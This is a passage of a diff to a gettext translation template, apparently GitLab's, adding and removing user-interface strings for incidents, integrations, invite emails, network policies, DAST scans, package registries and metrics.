msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -13261,6 +13588,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -13279,6 +13609,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -13354,6 +13687,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13420,6 +13756,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13438,7 +13777,7 @@ msgstr[5] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13465,6 +13804,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13477,13 +13822,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13513,7 +13855,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13525,9 +13867,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13624,6 +13972,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13663,6 +14044,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13762,9 +14146,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13906,6 +14287,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13948,6 +14332,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13963,6 +14350,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -14251,7 +14641,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14485,7 +14875,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14608,10 +14998,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14638,6 +15028,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14701,9 +15094,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14719,9 +15109,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14779,6 +15166,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14800,6 +15190,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14851,7 +15244,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14902,6 +15295,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14917,6 +15316,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -15001,9 +15403,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -15115,9 +15514,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -15253,6 +15649,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -15262,9 +15667,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -15292,15 +15694,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -15316,6 +15718,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -15379,6 +15784,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15511,6 +15937,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15613,6 +16045,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15622,9 +16060,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15658,9 +16093,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15676,9 +16117,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15706,6 +16144,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15730,6 +16171,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15808,6 +16252,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15862,12 +16309,18 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -16033,6 +16486,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -16078,6 +16540,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -16267,12 +16732,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -16282,6 +16780,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -16294,6 +16795,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -16312,12 +16816,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -16342,9 +16852,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -16357,9 +16873,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16756,12 +17317,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16849,18 +17416,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -17008,9 +17569,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -17050,9 +17608,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -17095,21 +17650,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -17119,25 +17680,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -17200,9 +17767,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -17221,6 +17785,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -17236,9 +17803,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -17359,18 +17932,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -17404,9 +17971,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17491,6 +18055,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17506,6 +18076,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17524,9 +18097,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17563,27 +18133,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17632,13 +18193,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17782,7 +18349,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -18286,6 +18853,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -18439,13 +19009,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -18457,6 +19027,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18748,15 +19321,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -19147,6 +19714,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -19171,6 +19741,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19762,7 +20335,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19771,10 +20344,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19834,6 +20416,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19888,6 +20473,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19969,6 +20557,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -20299,9 +20890,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -20401,6 +20989,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20497,6 +21088,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20539,6 +21133,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20608,9 +21205,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20644,9 +21238,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20659,12 +21250,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20713,15 +21298,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20908,9 +21487,6 @@ msgstr ""
